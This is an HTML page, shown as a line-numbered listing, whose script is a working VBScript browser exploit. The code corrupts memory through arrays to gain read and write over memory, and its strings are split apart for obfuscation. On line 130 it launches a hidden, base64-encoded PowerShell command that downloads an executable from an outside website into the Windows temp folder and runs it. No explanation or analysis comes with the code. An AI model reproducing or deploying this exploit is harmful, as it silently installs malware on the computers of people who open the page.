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| 1 | <!doctype html> | |
| 2 | <html lang="en"> | |
| 3 | <head> | |
| 4 | <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> | |
| 5 | <meta http-equiv="x-ua-compatible" content="IE=10"> | |
| 6 | <meta http-equiv="Expires" content="0"> | |
| 7 | <meta http-equiv="Pragma" content="no-cache"> | |
| 8 | <meta http-equiv="Cache-control" content="no-cache"> | |
| 9 | <meta http-equiv="Cache" content="no-cache"> | |
| 10 | </head> | |
| 11 | <body> | |
| 12 | <script type="text/vbscript"> | |
| 13 | ||
| 14 | Dim max_col | |
| 15 | Dim index_vul | |
| 16 | Dim index_a | |
| 17 | Dim index_b | |
| 18 | Dim addr | |
| 19 | Dim array() | |
| 20 | Dim array2(0,6) | |
| 21 | Dim util_mem | |
| 22 | Dim fake_array | |
| 23 | Dim fake_str | |
| 24 | ||
| 25 | Class Dummy | |
| 26 | End Class | |
| 27 | ||
| 28 | Class ClassA | |
| 29 | private Sub Class_Initialize | |
| 30 | ReDim array(2) | |
| 31 | 'IsEmpty(array) | |
| 32 | End Sub | |
| 33 | ||
| 34 | Public Default Property Get P | |
| 35 | ReDim Preserve array(100000) | |
| 36 | ||
| 37 | For i = 0 To UBound(array2,2) | |
| 38 | array2(0,i) = 3 | |
| 39 | Next | |
| 40 | For i = 0 To UBound(array) | |
| 41 | array(i) = array2 | |
| 42 | Next | |
| 43 | P=&h0fffffff | |
| 44 | End Property | |
| 45 | End Class | |
| 46 | ||
| 47 | Function rw_primit() | |
| 48 | array(index_vul)(index_a+2,0)=fake_array | |
| 49 | array(index_b)(0,2)=CDbl("1.740885"+"34731"+"324E-310")
| |
| 50 | ||
| 51 | array(index_vul)(index_a,0)=fake_str | |
| 52 | array(index_b)(0,0)=CDbl("6.365"+"98737437"+"801E-314")
| |
| 53 | ||
| 54 | util_mem=array(index_vul)(index_a,0) | |
| 55 | End Function | |
| 56 | ||
| 57 | Function read | |
| 58 | read=LenB(array(index_vul)(index_a+2,0)(util_mem+8)) | |
| 59 | End Function | |
| 60 | ||
| 61 | Function GetUnlt32(addr) | |
| 62 | Dim value | |
| 63 | array(index_vul)(index_a+2,0)(util_mem+8)=addr +4 | |
| 64 | array(index_vul)(index_a+2,0)(util_mem)=8 | |
| 65 | value=read() | |
| 66 | array(index_vul)(index_a+2,0)(util_mem)=3 | |
| 67 | GetUnlt32 = value | |
| 68 | End Function | |
| 69 | ||
| 70 | Set cls = New ClassA | |
| 71 | array(2)=cls | |
| 72 | ||
| 73 | IsEmpty(array) | |
| 74 | ||
| 75 | max_col=&h0fffffff | |
| 76 | ||
| 77 | ||
| 78 | For i=0 To UBound(array) | |
| 79 | If UBound(array(i),1)-LBound(array(i),1)+1=max_col Then | |
| 80 | index_vul=i | |
| 81 | Exit For | |
| 82 | End If | |
| 83 | Next | |
| 84 | ||
| 85 | ||
| 86 | ||
| 87 | For i=0 To UBound(array(index_vul),1) | |
| 88 | Dim type1 ,type2 ,type3 ,type4 | |
| 89 | type1=VarType(array(index_vul)(i,0)) | |
| 90 | type2=VarType(array(index_vul)(i+1,0)) | |
| 91 | type3=VarType(array(index_vul)(i+3,0)) | |
| 92 | type4=VarType(array(index_vul)(i+4,0)) | |
| 93 | If(type1 = 2 And type2 = 2 And type3 = 3 And type4 = 3) Then | |
| 94 | index_a=i+3 | |
| 95 | array(index_vul)(index_a,0)="AAAA" | |
| 96 | Exit For | |
| 97 | End If | |
| 98 | Next | |
| 99 | ||
| 100 | For i=0 To UBound(array,1) | |
| 101 | If array(i)(0,0)=8 Then | |
| 102 | index_b=i | |
| 103 | Exit For | |
| 104 | End If | |
| 105 | next | |
| 106 | ||
| 107 | ||
| 108 | ||
| 109 | Set dm = New Dummy | |
| 110 | Set array(index_vul)(index_a+4,0) = dm | |
| 111 | array(index_b)(0,4) = CDbl("6.3659"+"87374378"+"01E-314") '3
| |
| 112 | addr=array(index_vul)(index_a+4,0) | |
| 113 | ||
| 114 | ||
| 115 | fake_array=Unescape("%u0001%u0"+"880%u000"+"1%u0000%u0"+"000%u0000%u000"+"0%u0000%uffff%u"+"7fff%u00"+"00%u0000")
| |
| 116 | fake_str=Unescape("%u0000"+"%u0000%u"+"0000%u0000%u"+"0000%u0000"+"%u0000%"+"u0000")
| |
| 117 | rw_primit() | |
| 118 | ||
| 119 | ||
| 120 | Dim psection | |
| 121 | psection = GetUnlt32(addr+&hc) | |
| 122 | dim a | |
| 123 | a=psection+4 | |
| 124 | ||
| 125 | Dim p_C0leScript | |
| 126 | p_C0leScript=GetUnlt32(a) | |
| 127 | a=p_C0leScript+&h174 | |
| 128 | array(index_vul)(index_a+2,0)(a-8)=0 | |
| 129 | Set Object = CreateObject("Sh"+"ell.Appl"+"ication")
| |
| 130 | Object.ShellExecute "powe"+"rshel"+"l.ex"+"e -Window"+"Style Hi"+"dden -encod"+"edCo"+"mmand ""KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AeQBzAHcAYwBkAC4AYwBvAG0ALwB2AG8AbAAvAHMAMQAuAGUAeABlACcALAAgACcAYwA6AC8AdwBpAG4AZABvAHcAcwAvAHQAZQBtAHAALwBhAHQAdQBtADIAbAAuAGUAeABlACcAKQA7AGMAOgAvAHcAaQBuAGQAbwB3AHMALwB0AGUAbQBwAC8AYQB0AHUAbQAyAGwALgBlAHgAZQA=""" | |
| 131 | ||
| 132 | </script> | |
| 133 | </body> | |
| 134 | </html> |
